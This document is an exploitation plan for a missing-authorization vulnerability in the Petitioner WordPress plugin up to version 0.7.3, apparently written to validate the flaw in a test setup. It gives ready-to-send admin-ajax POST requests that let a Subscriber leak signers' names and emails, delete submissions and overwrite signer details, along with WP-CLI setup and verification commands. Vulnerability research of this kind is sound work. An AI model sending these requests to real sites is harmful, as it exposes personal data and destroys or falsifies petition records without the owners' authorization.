Petitioner <= 0.7.3 - Missing Authorization

This research plan outlines the technical steps required to exploit a Missing Authorization vulnerability in the Petitioner plugin (versions up to 0.7.3).

1. Vulnerability Summary

The Petitioner plugin registers several AJAX actions for managing petition submissions (fetching, updating, deleting, and status changes) using the wp_ajax_ prefix in inc/class-setup.php. While these actions are restricted to authenticated users, the corresponding handler functions in AV_Petitioner_Submissions_Controller (in inc/submissions/class-submissions-controller.php) fail to perform capability checks (e.g., current_user_can('manage_options')).

Additionally, frontend source code (e.g., src/js/admin/sections/EditFields/Submissions/ApprovalStatus/ResendButton.tsx) reveals that these endpoints do not implement WordPress nonces for CSRF protection, allowing any logged-in user (starting from the Subscriber role) to manipulate or delete petition signatures.

2. Attack Vector Analysis

• Endpoints: /wp-admin/admin-ajax.php
• Actions:
  • petitioner_delete_submission (Primary Target)
  • petitioner_fetch_submissions (PII Leakage)
  • petitioner_change_status
  • petitioner_update_submission
• Method: POST
• Authentication: Required (Subscriber-level access).
• Parameters:
  • id: The integer ID of the submission to delete/update.
  • form_id: Used in petitioner_fetch_submissions to list entries.

3. Code Flow

1. Registration: In inc/class-setup.php, the plugin hooks AJAX actions:
   add_action('wp_ajax_petitioner_delete_submission', ['AV_Petitioner_Submissions_Controller', 'api_delete_form_submission']);
2. Request Entry: An authenticated user sends a POST request to admin-ajax.php?action=petitioner_delete_submission.
3. Missing Check: The AV_Petitioner_Submissions_Controller::api_delete_form_submission method is invoked. It lacks a current_user_can() check or a check_ajax_referer() call.
4. Sink: The controller calls AV_Petitioner_Submissions_Model::delete_submission($id), which executes a database deletion.

4. Nonce Acquisition Strategy

Based on the provided source file src/js/admin/sections/EditFields/Submissions/ApprovalStatus/ResendButton.tsx, the admin-facing AJAX handlers do not require nonces. The fetch calls in the React components pass only the submission id and action without any nonce or security parameter.

// Verification from ResendButton.tsx
const response = await fetch(`${ajaxurl}?action=petitioner_resend_confirmation_email`, {
    method: 'POST',
    body: new URLSearchParams({ id: id.toString() }), // No nonce present
});

Therefore, a Subscriber-level attacker can trigger these actions directly as long as they provide a valid id.

5. Exploitation Strategy

Step 1: Discover a Submission ID

To delete a submission, the attacker needs a valid submission id. They can leak all submissions (and their IDs) for a specific form using the vulnerable petitioner_fetch_submissions action.

• Request:

  POST /wp-admin/admin-ajax.php HTTP/1.1
  Content-Type: application/x-www-form-urlencoded
  
  action=petitioner_fetch_submissions&form_id=1
  

• Response: A JSON object containing an array of signees, including their id, email, and fname.

Step 2: Delete a Submission

Once an id is obtained (e.g., id=42), the attacker performs the unauthorized deletion.

• Request:

  POST /wp-admin/admin-ajax.php HTTP/1.1
  Content-Type: application/x-www-form-urlencoded
  
  action=petitioner_delete_submission&id=42
  

• Expected Response: {"success": true}

6. Test Data Setup

1. Create Petition: Create a new petition post via WP-CLI.

   wp post create --post_type=petitioner-petition --post_title="Save the Whales" --post_status=publish
   

2. Generate Submission: Use the public form submission action to create a test signature. (Requires a nonce, but we can bypass the public check by using WP-CLI to insert directly or by fetching the nonce from a page with the petition shortcode).

   # Alternative: Use WP-CLI to insert a row into the custom table directly
   wp db query "INSERT INTO wp_petitioner_submissions (form_id, email, fname, lname, approval_status) VALUES (1, 'victim@example.com', 'John', 'Doe', 'Confirmed')"
   

3. Create Attacker: Create a user with the Subscriber role.

   wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
   

7. Expected Results

• The petitioner_fetch_submissions request should return PII data (emails/names) for all signees, even though the user is only a Subscriber.
• The petitioner_delete_submission request should return a success message.
• The targeted signature should be removed from the database.

8. Verification Steps

After running the exploit as a Subscriber, verify the deletion using WP-CLI:

# Check if the submission still exists in the database
wp db query "SELECT * FROM wp_petitioner_submissions WHERE email='victim@example.com'"
# Expected: Empty result

9. Alternative Approaches

If petitioner_delete_submission is not prioritized, target petitioner_update_submission to alter the names or emails of signees:

• Payload: action=petitioner_update_submission&id=42&petitioner_email=hacked@evil.com&petitioner_fname=Hacked
• Reasoning: Demonstrates unauthorized modification (Integrity violation).